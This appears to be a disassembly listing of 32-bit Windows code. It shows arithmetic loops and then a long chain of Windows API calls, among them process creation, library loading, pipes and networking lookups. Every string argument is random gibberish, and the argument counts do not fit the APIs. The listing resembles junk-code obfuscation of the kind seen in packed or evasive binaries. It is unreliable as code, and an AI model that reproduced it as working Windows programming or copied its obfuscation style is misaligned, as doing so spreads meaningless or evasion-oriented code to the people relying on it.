call fcn.00422000
mov edx, dword [ebp - 0x1c]
sub edx, 0xbbe
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
jmp 0x8b5b05
mov ecx, dword [ebp - 0x40]
add ecx, 1
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x50]
jge 0x8b5cb4
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x10]
jge 0x8b5b4d
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 8]
jge 0x8b5b4d
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x28]
jge 0x8b5b4d
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x58]
add ecx, 1
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x44]
jl 0x8b5b66
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 4]
jge 0x8b5b6f
mov ecx, dword [ebp - 0x3c]
sub ecx, 1
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x54]
jl 0x8b5bb7
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x1c]
jge 0x8b5bc0
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x5c]
jge 0x8b5bc0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x20]
jge 0x8b5bc0
mov ecx, dword [ebp - 0x44]
sub ecx, 1
mov dword [ebp - 0x44], ecx
mov edx, dword [ebp - 0x44]
xor edx, dword [ebp - 0xc]
mov dword [ebp - 0x23c], edx
mov eax, dword [ebp - 0x44]
sub eax, 1
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x23c], 0
jne 0x8b5bf6
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x14]
jge 0x8b5bee
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x28]
jl 0x8b5bf6
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x3c]
jge 0x8b5c44
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x38]
jge 0x8b5c28
mov eax, dword [ebp - 0x24]
cdq
idiv dword [ebp - 0x5c]
mov dword [ebp - 0x240], eax
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x240], 0
je 0x8b5c28
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x60]
jl 0x8b5c3b
mov ecx, dword [ebp - 0x34]
or ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x48]
jl 0x8b5c3b
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp - 0x18]
jge 0x8b5c44
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 4]
jl 0x8b5c96
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x244], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x248], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x244]
cmp edx, dword [ebp - 0x248]
jge 0x8b5c7d
mov eax, dword [ebp - 0x58]
cmp eax, dword [ebp - 0x18]
jl 0x8b5c96
mov ecx, dword [ebp - 0x60]
add ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x60]
jl 0x8b5c96
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x64]
jge 0x8b5caf
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x30]
jl 0x8b5ca6
mov edx, dword [ebp - 0x5c]
xor edx, dword [ebp - 0x3c]
je 0x8b5caf
mov eax, dword [ebp - 0x28]
sub eax, 1
mov dword [ebp - 0x28], eax
jmp 0x8b5afc
call fcn.0040e110
push str.ovwlJVyTOVsaYygRnZUXEfhERRGFthjSuHvDBAldRGTHckvlsZfXVDZuHtflhmZWsbUdEkGvsuhhbHuolqexjFEZcj
push str.UYXkQgokmBWgOlLpaIPgouElqilVKGzixtLYCOszYSWvykxFVxvkwRng
call dword [sym.imp.WS2_32.dll_getaddrinfo]
add esp, 8
push 0x108b1
push str.QJQWpCGKXtNsfawsYPAKDrAaczWyccUAzjSXrLQCYHDreWCPuAbeHjpKVXRHVnIUARlbjNrjibvXtaQwcTZLvRvTSHzD
push str.wymDOKPCXEVkgHqpEqxvvNBJHWnpvXRozfdJVEOzzvAPmqDskNoZdK
push 0x11563
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
add esp, 0x10
push 0x12e4f
push 0x14167
push 0x13638
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
add esp, 0xc
push 0x5d2f
push 0x3cfd
push 0x13894
push str.WICSvbeELcssUELmIbwEhQxmvgWdHClJfJcelAIbYljwYOcXERNUTqnYZaQKsYTtJwhTraSkdPEpHtjrjstsXYibeecwLzGZwiC
push str.mEQnaCiqzDASjaeeFFxOnIpmKTCPCTDyUkNNNKXZPJyKsCORRiEQIw
push 0x2b45
push 0x1041d
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
add esp, 0x1c
push 0xd6d1
push str.xiPwcsuEufopNAOYSDugRFUrlsJGabVBLDPFJyXKGOLUiatycmfHLcEHoiKeAI
push str.QXnqROegWIFNtcLFPYystRIVujwxvACzeEzkngdaRgNGvPzthhinogJJoAcawEptdkXYWwrkDAFfwaA
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
add esp, 0xc
push 0x35c1
push str.IRLWsBugppEQAgHJoZefKvJZgiWKKAfcnqtLPprzjRkZUyNnEwNeKYaNKJOdBZeYwzQofCBIwrtjFutlnKJynecuCharhRGYPy
push str.oVVWipxzVQrvSqDnVvRmdAzWYNDmIzyelnSiqkyuyVHrlBKHLIpNwWlhuTVZgQh
push str.KDfgOGAsNhXUiTdYVDlucBeWpfJQLPpudLZKqqPGEFneuGyoimdZBBWNnjJAk
call dword [sym.imp.COMCTL32.dll__TrackMouseEvent]
add esp, 0x10
push str.lRLgTPcOPYgUjLnVTjfRPbifubWKHhvGWJgwJiawtvkzEPdCYGyAkxiApdQkaiPqjDVEnZvtAuIupJkqfUbyRGPrDKQAykatKdh
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
add esp, 4
push 0xcd7f
push 0x117a9
push 0x4d18
push str.EDggfrLlxnjBYxxSNGyszbcfsihXiLREDjPerXBJxIFpicBnoNZysnBWvCyRGWlstTIyFSEVyVJjykXyXuTjgOpJdNvPEc
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
add esp, 0x10
push str.uYwTsJWAxpPFsqnEPsBxyhzgFoicRdtoiJmQWJYbnZgGTPZBYUqPr
push 0x15270
push 0x15d0c
push str.HGBAAjhltHmyLWpxFRqZHumZkuTQUXeYrxKGkIhOJtDwpcOtSLqeYdEozFnNqkmUhKlfPWVLQYclOgpyvvLFRjQnEYVnn
push 0x4932
push str.HaAgqzzvdmjadigziVxDKIKWOABiHLtTDxhAzVhVQqAutOhXxeORAbOeHNlGkbOLRaHUUWjaCgFgQZeKQTkybF
push str.iuGpmlIQCeEkxVNjhaoDgUiFnXQqRKxesaUirDhwvvDhwYzsqPPPDjmYHhfvjVcdpNdHZWYEb
push str.dxPrXIFceBPuVwQmEnYYiSjnCZoAKPUAwtaLNJbFzbgEyTgVqAS
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0x1107a
push str.JWjasUZDpWVoUDuCdfAqZvnJPfpfNvvtwGbtyVHADDvsocHBhwlSGONAYPgIaHYWiyhNuOEVvGCYNrwyGOrAnYsmidNSEedxUgJ
push str.WgdrxjTAeAFhnUpSFopcasnFRNFtqWPjbyKGrColmOaRgvFrSnhXfAKTsszTswVUfrcIhrbzHEueeX
push 0xaa12
push str.RcEnaivaUlQyATsmCrdqfhEZXKWurawepDUCAqirljlDcWDXfmXDHxTiOBuWLVjwceaUQUAypNKkAtrnsZvdlsoqdJXkW
push 0xeeea
call dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 0x18
push str.WsiUzGpLBBZaPznUQCNwOUzjXhCKBccZaRzcXLrLYoIoUdVErEOBDmXdYOoWgcZZnyiZAybPfTGkWUrDhaeoAyhZadaVSW
push str.dHtJxpxrRWACdnoeQpCWAqYSBsyhLmCJwbmuwdKOaGyUiGlphYmwnkufybJlRqzcqnxxTLchEPo
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
add esp, 8
push str.ADeVmYPxDZBBGBKLYSIylxCpctBxlXztsphaxQbxnqWYwTByPwguvnQkGvvatKJQwqrjS
push 0x152ee
push 0x1258e
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
add esp, 0xc
push str.xQgRPqacwGGpNFyncocjwUXPPQFgvSIPpWYlQXbnOSnLbOYFCiNJJaSAe
push str.CmLEAzyIGfRxTJTFzXjGZTYhaNybGEnAmdXpjzRGSJzTftDCrHsHqwaRpbQCzySEALTPTzsaVkbHQCR
push str.qlFbRdfgmwpXXYaSvbTLLuwChcncIYjGqePVePDQBZDhFRvbTQQOuO
push 0xe282
push 0x3332
push str.TfyhCVtKDlPeXkBlBDvlFDNKZaeEHqTgHaWAALbQjRdxNlHQRPlAQQx
push 0x5fa9
push 0x368f
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
add esp, 0x20
push 0x678b
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 4
push 0xe17d
push 0x5eb8
push 0x15962
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
add esp, 0xc
push 0xf4a7
push 0x13b85
push str.SvWOeFALwryhToHEHIfRqtHLodoVIaPihFsDVZWHVLPkezPTghzKUdEJacsBBrmP
push 0x1279b
push str.lyAWBjotCXxALhcrzIwpLfrQntebIPnyFyEbFHxEZuIHYtJmXwB
push 0x7ad6
push 0xf47f
push 0x1e44
push 0x15aca
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
add esp, 0x24
push 0xfa5a
push str.oylUKATpALfnTOoIfqmWtBwhFvZmIikmLHNuzVRpwqRlkjFiHxScJGOBOpSTKFmzhEKAxoWoeBhNiQCYlrxdPwGWJ
push 0x61
push 0x1db2
push 0x9991
push 0x10457
push str.aKjPTRUGjTiODrjJswDFDcjCaGWFUpSLwqiWPvTzuoSzOynVrpnqUGGLUTb
push str.pSAiumFlwhnTCAuSBwXHyoxjoQicgQGYQwEbIDvyoqEYCShmbRZJbtGbNunxXybendTpnwbRnycwYoSUrSPk
push str.xtOOCmqacLgTQZzYWFyQHZsHRNBQCJRkHiudjytuiqmFYmvnGEBUJzv
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
add esp, 0x24
push str.kUQOKgxBCpUIDhSvDossVqcmFkKTSmNFoPpgABldzoTwkpsVOXflWqUkleSkPZBCBKNVLcsBaBdBsWrnQzUN
push str.lpjKAZdiZucWWRNxrSWuXiGGcbuHDSQKYGYaqvCofZWhKbaHZwHQAanhFtjQCSjEKPyBaRad
push str.ZxXYnVhjdNeVipNRXCkrIpirkksYUTHCgPDFeXlskvGOUgubusI
push str.znXcZrNGBpCJDVIjHfXlUgdITSHpwAcYevNusBxyZwoUlSPjYuEfuGSdLduFckQdCogAKCaEKlDqixYxEyuemwCckfmP
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
add esp, 0x10
push str.ZbOiOSrFBDqTawgjHYglFsjfGRhpxSsrmfYuVJvYSFmoWdoGKeGo
push str.RTsuKuygOFzrjubCbahAfJzubaUqvWvQtKhnLLAdCtIrARroWpIgiyiNEofztXyitDvJQpVCShJULXwjfZNyznQbqeoWFX
push 0x790b
push str.rOeCpJxDAwqfiVSmtHVqFHULoBwyUgshwwIzxdSaBdTjPcYCeOKDGoGBmaRLqWRGPzBafpWztzebdiJznzZVvqolzbUfeiS
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
add esp, 0x10
push 0x112c0
push str.JHpWZwCcwFFxrEZhHfFJtSLYapkVXikHkUXUKpRjhIUTQuoOyIGVYZvRznsclloZUUqXSDYjCAz
push str.mkWhTIbjaaXJryITFhpDTxzzSTteIJuyNQhiXQLidyBFFYWEPVLU
push str.spjsIsWadXHrZWHhYQtVxPpjrRLkijlzxvDfctILjukGyfgJvgYfCcfAAkcFwBKwtxLIpOLkiLP
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
add esp, 0x10
push str.PxdJNTQpBnNeCwRljABiLvfSiVeGVyIVccJYxIxKQpWoPfsXWZhFaoLJxdoDwLlGOPnXeO
push str.qhDujVSyJtWchkFGfupQyWUNwnCgaZNmsEAmNLHZdnqOqfujjIXAQvIoIxJitUqokZpPiccOeyk
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
add esp, 8
push 0x7eb
push 0x1156b
push 0xad28
push 0x612
push 0xa9df
push str.qfgFuupJhARtQadZgceSwbNnnarsaQhUExGLmQSzzmhEejHhDXTNGQIVhmNFSTunafZ
push 0xd2ca
push 0x121c1
push 0x15ed
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esp, 0x24
push str.ghpsuhyjgfKrtXoyKFiYrbUIzchLhBcKlmWJxHdlEXBONRSrbwDAxuRhKBDqbWkaZBBORoklvTuiZHmyVXlVUTQ
push 0x11f8b
push 0xf74c
push 0x15410
call dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
add esp, 0x10
push 0x139b6
push 0xf023
push str.nabRbHSEGBiqsgLmdcRZCgGrrLJYCTxvmCCgVkFkvItsWAyyNDaKedoHhtxcqbiENYHYCacDSKYPRnrlTjBAQRuotAPyeZGH
push 0x5af4
push str.DHJHTBpDQKkrUYEXyVvHAoNRbSDRJpvTfXqQtjPyTFvVElaXLvfZrGyJRLzEUDTbPyLyvGcVcWIORabcXskvLevFSFaciU
call dword [sym.imp.KERNEL32.dll_FindClose]
add esp, 0x14
push str.NbqRhnDQppmBQZlbjbGZSdriUvfhKqqXatmJYgpJdtmTzaguJvwcpxZlHiIVPLIjuDUQSYLGEosnDRNZVXScfHIEyJBVkibk
push 0x14eef
push 0xd4a0
push 0xb4a9
call dword [sym.imp.KERNEL32.dll_DecodePointer]
add esp, 0x10
push 0x58a2
push 0x89d2
push str.kBcpfHsPUnbUrOKqXaxQAXWDehbayKAjBxqFuNORlfNZoOCgUHrJVGIvDLufXP
push 0x176d9
push 0x16796
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
add esp, 0x14
push 0x17321
push str.CgioCrIHxnECjconWbDHIOJmoleAxpdwPItYECHIfVwUBvsBWRoimehHKTTuEjGBxomOdnjybGtBIN
push str.elQfGeEpbYvvqsRXcUzBiesIiZDnqoBaDvUdgOtCKneuigVBiUiPduUmiNVDCWpXnxFWkFjvJnul
push 0x443f
push 0x13620
push 0x5a2a
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
add esp, 0x18
push 0x12dd1
push 0xaa27
push str.RmZNWScGkyrvsIcEdhyeIlIGdLiWVzrWDSNdIwAdnoZebrhdjpWcsEA
push str.kBrLbwBbzEqTTnruFFRYBsZxDFHhjwetfGLzZKHezvBtdjXRxUEkqVzNpooiJPjKAOHHgxSkqFPGXoHTRgoIXpBrTQvDJDnpTc
push str.VCGadELvvHyPgqHtqbJDNpHVsBOBYmOfClFrfDFrYDpDfUFlFBVoLaAWhbFXaSSwB
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
add esp, 0x14
push str.DrLYiUPstfxXQRnRsIKPJZpXsSkpsdgCVQYUWFEmugspuntsOjlyvU
push 0xbd81
push str.kzNjyVdFiplLDPRryuowKcTrYUqiLOCTUPnEpDYGavuxftxCIgOoKXNxXinoubelWSdaKNzKTG
push 0xdac6
push 0x53ee
push str.DeTqAoHzFYvlieOiyKpbrRFyumTorsKKioTIAPXQaPIecKQTNwUvHzTOzzYKaQEfQvt
push str.JoEmZrkosvyKNjkvgXktwGghjvLzYwTrwTaczqsQiBGclpFyEbHqLktvEQtbarpIjdYYwtwjjpqrYGtGsqbm
push str.QHouSPuLgkfCYexTfOGgYAreLqfImxUdSdmTgldTkVUkYVjVGJoYbUiNGPQJmtZjRrkVozVkAQjLm
push str.ppNKOLVtJsFEQPEaeSvBITkVmdruupHVqyUqCoswwERmSUUEUAJwnsWlbdrOLQsoSHfJPSARthtJicQeYP
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
add esp, 0x24
push str.iTIxSFczPDsFKufkbmzbWDqqcmGPEnXeHxdXfwGkUhKViJkTJEGxHVBXbmTsCBsRewTEefXw
push str.pVVEgopTpFcJNzhGQLJcyEPWagXmgSktqKzliwZfSWlIDmeGFJuRVtWzRpuAgvENTkKpYdkBr
push 0xa921
push str.UcxhhICuikqvSXEwsxtFXxueUGvxYdcsDZnBnDIpCSruqJaacncZHBqdmCWScpRXWzlnanxxuNkPKxDVgCYewFnRAhcFiiqX
push 0x16740
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x14
push str.rPOyJgRlQGPNhGcGSqVZaSGqfygpnyZYybHTghcRvEfemDngSTZpkZAkLYfompmiZvKDORNGRvYxK
push str.gDCeKjPBqymKSrwahfTGQYRWCdLOgqLFyGxlfSLRkveSjCzGPYCsHSrGgbYxFeOmcmvwfLvw
push str.ObZrFrLaqTfRrSblOGfeqYbjEDIAftsKNpwIjYyvjPhIPeJUYZltxgmwFnWprLxdJKihWghrOWImiksjOiQytNCIUHIV
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
add esp, 0xc
push 0x9a3
push str.OgCjKrqZEgFcFcpacuSzRjaXFKmoBHYwLdxbNtNiOLjpNwncbIon
push 0x448b
push str.qNZwlqVJUXKXqHFcIwyBgkWrzzhhRYJzsqxlkVVZIPbDSyCFjFjosNRZQwTfGjKoefAYtfPXFAPtiZxAG
push str.EGoufviFcnEYctLJwygYdGvXFkkyhPUPRnYGYBCAtsuZHUeEhF
push 0xeb76
push str.AiJxZqVEGkKXGTPUOBSpfYUElaSDSoYCjhrwUVIHlSYwuRWnrCTIgAYaoegmJIxHFTtENKKsmvuJgQvqEImhFLUnHkWVpnBVQ
push 0x7fa8
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
add esp, 0x20
push str.cfcRjZwRgVXCiLfKvwiUORPEalHwFddQenFRKISSVIoUGXbrsHNdqSeHGJGArjcKWvKhqzoTyDoqbWrGRWLhXKwkaDjyhdoVovY
push str.ORxNtKzaaoBEnpWKpUOfeQCtCGGQlOmTSqeODARDlYHLvTkSpoVuetnEg
push 0x12a93
push 0x12950
push str.bWTSHtxhZnebfbpWDYXdKKDkvzXIcRJQPPOhBVQpfCKcenNGItKLZe
push str.kPEAHjuslFbGFbzQlzAujRfGGfgKjstHqKhTeBnKarKAYVfpOulltXcKKlDVGFIyKncRdxsEUIzCSRCdNnbWadvjJJaBPeQh
push 0x105bc
push str.vqGdVSLfLgdftwvYktbnNiANaxggIQHXGWoJNASGPHOBmfGlGPGgJOAyRnVIXOPaeITkGGECVnApPYeyrqaLUfDoScdtdCrPHPn
call dword [sym.imp.KERNEL32.dll_CreatePipe]
add esp, 0x20
push str.ATJYNYpmKPjdaxJEmjzByAoGiuBtbsRhRWKkXZmYmrinoseLfmjbhxybiiTQwIoIFAhEKftatgaufNUJlUehgoAAGhwGnSEWdG
push 0xdd84
push 0x1459f
push 0xcf8d
push 0xffc2
push 0xeb64
push str.UCWwAnQirGVdCSadyGcoyuUPXfDjLwepBDJooiVUXLTVfVUzgvPCLFl
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
add esp, 0x1c
push 0xc114
push str.firOLYIlxDGoJCiUYWEynpFVaKnbGDXKOmcxIyPAhqXtxKmcme
push 0xcb34
push 0x11f46
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0x10
push 0x4a4a
push str.lTqDSikIDjoyCVjtVuzsqcVmcpokEGSrCjbSzJgzgAnpmDdFKrVLpxqiS
call dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push str.BpPXFajawKZmjOqqSTWLhQworYwiuiJpsOXYYdtVGKpFwwjWAnjyTFiIieQInBH
push 0x98e2
push 0x5e7b
call dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0xc
push str.fZzhKdnpOOUXOVLNmQbwZqTkfaoIazdpPmTuUhmulcwTjcEQLCdiHbhrnDzKWDxjEGDRqcQEfNiovldekIfyt
push str.eJsxTFqRBVnSwhYaxHIBqgIOFePWqNATOSIjLPXGHIfROvNAOpmxyIZb
push 0x11870
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add esp, 0xc
push 0x14e24
push 0xc6b2
push str.JVZeJaZccbfjiISBJCpxCTaYsyOgNDaQdrlidVqmGXZUkmxUsAzTQDxGoZIKtRVfbwkZ
push 0x764b
push 0x8a12
push str.wWSLlkVidUROjyloZQZBXDsCAoPWxuXzTlErnPePQnPzTOoqqBnYjJrpGTwZdFdXANGkJknZpUQLKojzbDjnlyHNDiJmCVvQED
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x18
push 0xb4ad
push str.NgLOpdZiTOiFrednREQrcQspGbyVNUlvTsRxIFppCePqqoSutHVmQQeJnoGmaGKwcRSvFFxdRoNhTpWfYWJYJEmPTDykJw
push str.xiTiasUegphPZwDfJJAdxBZhHZuHKNunQRomhrrRZaEdlhXeTuQHDxWwmfqdacUfVxlrwRsBkYKgQAgiBDbwel
push str.BTveSgSWGNiEwEPQIVDWZIGgFSaUZBFkOjIzznHjRVUnSRaIzOmcHPCFsLOKQpWwwKGApJkGuiTbvHYdjuFTYZFHfJFeXgREAh
push str.TAmgHpHSsZDibOpWdptAQsAeVfmHxXdqGmgmiWgYcSzCrWTzWlHoeDpFuhlooE
push 0x1583a
push str.PnNgFKerqhZHOXavDAeGPGlkRLJgSEmgjVlLIZNKKUNoWSYjWYSJUoiBRsNJ
push str.NJdddwqIluNcGVlwiJtBLlsCutTbxuKPIXPnzTiomflUbUQYProSjOsODUIEWtNoqEYAmsHqRecGyUCZXQgyZCd
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x20
push str.dTLeFqSQyOXOuLwxJXVshkcQPDSJNZvmbDaJJpnkBASIrraYvhvrbefeCYDooyO
push 0x18fa
push 0x17118
push 0x171a9
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0x10
push str.syiroxXpaUEdEyfAZlACrURRgOVmDlPwANuZnSHwboSgHukzBLtycSJlEktBSZDuUAnYBEhTkOrubtFPujEVSBeCyxt
push 0x5cb0
push 0xa19b
push str.najmwNZbCFyjPIPEQAiihVySshdLyrlxzqcACXJpWyCngAKnpfGIaWcuiBbThGIyUBPAOoWOSEgkbCxzDZHrGAtqmVY
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
add esp, 0x10
push str.OsvQQYTOkdldvdYHWijKJVTFUEKDsowzIUZqSJQrtxpdXlIxlQchFXwBsKvqFSNsKavnRhnkcBeZnww
push 0x205a
push str.fjJQeyBeqmoEqtZuSuneoOvyuORJAGUckOcQKPHrRczpufaizGZQVOWg
push 0x1113
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
add esp, 0x10
push str.OhtKUPtKXxkXEtCeELoaXxGZWTcckUZTGiqwvGCOnzeBryAAAGpSYoCTdtAVSCbYBEfThgL
push str.SSHBUNhUnssGBKEtkWsxcGxUGCqazqAeTFeVmchAcoOkrmmoCyFfqohiopegydJfRorxjPCRKFYZTTKVltWTxnCEUnRpTCa
push 0x145f1
push str.VOIPmaRivtNfacThDcQsZtERjDFOqdwOaJhcSuuYOVkZgpDPVSFOGgoJxNXSFiQtlKdQUYHBnGCNHUgmW
push str.iRNeQrvxFCyHvHiTlzEaUFVqQrNzEiyZgNURKWGXrNblIxZIUNRaxdqHEFomVHvGSyvGGtSZbzZ
push str.tohnkWtnliRVEBkdYnHNOWAleCKHBuAvYxLhCJylUuwixCFROajbRrijGTfPejASUSD
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
add esp, 0x18
push str.jpNnjuYNetxSAdZbHpXquBfmclAIGoBGyWjQnIxIQUuvhJKXzkDZusFtWatledpPNsvY
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
add esp, 4
push str.AgPrHBehHmceixQsuRxuJmFhOQBmkfcBskXDwijlUQiyTaADhrsJFKkqFGqWtOkaXaZWQefIVHAreoIAxWGjNEWdoeA
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
add esp, 4
push str.EzZYjAznrTGVnJZGxcOhiSSEqeyQSaehRzUbGbPvwULmkLcRFYZBrhLGCzrPrHSy
push 0xa346
push str.muIQWqXwzVmnApTfpqldGfohOjTUTquXKRegAatZkgeTDZJPAGoiI
push 0xa8b9
push str.HNXUtCTUwSCYOYPgrSQmTfztNHEzwAzdkcghgwzhrYSxwBxYpXAIHCtoKRqFwvS
push 0x32e9
push str.iSlcISdFAFHikWmLZIylKeNWZPJjXkQzTUXyEdZSyAuIgIkOusYHYti
push str.cmuLEFnnYNvHIbYzNQkAFWWBzInICGpdimzEvrctyBHgkNgFgIwKAXlCGHTfgbV
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
add esp, 0x20
push str.LTlpwzAYpzecwBRbvsuYlvRNKdeWPHnwfQdgmcFdDvqfuHGvgJLFZHjbFOtWxDGBeNKnuISLGmLwJjKzsjQjBehikTSyvTLSv
push str.bxZgRaYpqFbhCgfzwIKCKpHBJCunctQFwfnRcmRGOtthUNAnWJyCYqDCrZIpQFrnHklrwPjAdVthPnsKqVEL
push str.GRfbiiLXlcbqyGcyZNNfEQFaaVFuneGGPcvKkrdhinallFrLgEP
push 0x15153
push 0x6afd
push str.GUwhKHbbCIlccaqPEBmeOpHQRppJuerlkmiySbUYdYlYPjoPdjlOePfYziOaNRaLTDmppUmePQoYSGHNtzqKqmQvgOlsbli
push str.CKcrdTEAbBSlaaOxSEYPjVokftgndrQIoClVQbpwfIeRgNDoxXVdTTgAfqKoJZKnQJluclGZuZ
call dword [sym.imp.KERNEL32.dll_TerminateThread]
add esp, 0x1c
push 0x9fa7
push str.wbQqwxjKZVdrWpHIuDkeSbZnoHbEreiaItOqVJCqAozOHDzPEzVrqvQXdsZvFYnkdBaCeIYofsEDotWRiJnpYhOpBKAoz
push str.pNZxkpRhPwYWDnlLLYFFUfIrcYVwKBXwZYoiQRLcXpaPNpZJYLDNOmJbe
push str.TYUrlDLtqVFwveAaJPKjTaWcsyPKEejvyKwKDJFGpuokrukpPcqfopoUthmTHHxdxYYsUyYZypa
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
push str.auhQbiQBhrRzrZfYTEnEkVvCoRoLsxzdnqDtzjlLxVspaihqtlzSbHJTQYD
push str.HOIyXiKDcDZaGUTeIiVutGFrUmpUZKwXxLakPWFOfoknsbtrGzqAc
push str.OQXuFNQrgWAnoZsDlnOdiCkoNLuwukePrrEyELvnrdhOzWcEWAFUvwFZWOpkVRVJISXtdQiayleFIWz
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add esp, 0xc
push str.ohLmlYZhQvHvItkkwUjaKNpsnSIVJaAaXYlSWSJgfCwlOnyJvwcsTGeAKyLTFOHtdgSSaJfXXlRBAOSxNvmbbQpnDkPoguedW
push 0xee3d
push 0x11ff0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
add esp, 0xc
push 0x54de
push 0x135bf
push 0xf67b
push 0xdd80
push 0xc688
push 0xbbc3
push 0x9b3d
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
add esp, 0x1c
push 0x10492
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
add esp, 4
push 0x15e13
push 0x118f
push str.EcXneqqXDwrEbOifJIqpGnfPTwINOsECDTFRhzBCvxpJwomXFvTIS
push str.yjNHGPEBvBnFfVVvdzOcJcOQattvsXuJRUndknTVCOHJUqmGypXOv
push str.naDcPTnaZQZhQigzKsLoadyjcWobBBFUtqtOUglbczqbTXzGYgaKgAJEVgjZKqCarwnL
push str.lABAKxghNaopCpVqsfuzZUvkSpBboGCrZtWTENaFQNZGjgRmjwynkyxoDTeZBBvlLVeEauazzYCpTsTHSYgUQlWXEZjACqNB
push str.SqVLClRrlUyGAJxBoRPExTssLhSUAtoVtimyyyvGQzjdtHJsLTUZkKaTDtSfaFyAmCKctGnbiInKQexperqqjm
push str.IKoiPelliXnrbyizofTVzLzySfDzzLbjdjUknUHcttYrrbdFsCoQvKRmyWFsTDWStjFIjiRCmBsvgcCqRVnIHNCocipv
push str.sZjEpPeDVkWEsCdOviTbYasvPlytnPNeXxcJvXEhundPAzWccPpdVQbkfFPaySbdnp
call dword [sym.imp.KERNEL32.dll_CreateEventA]
add esp, 0x24
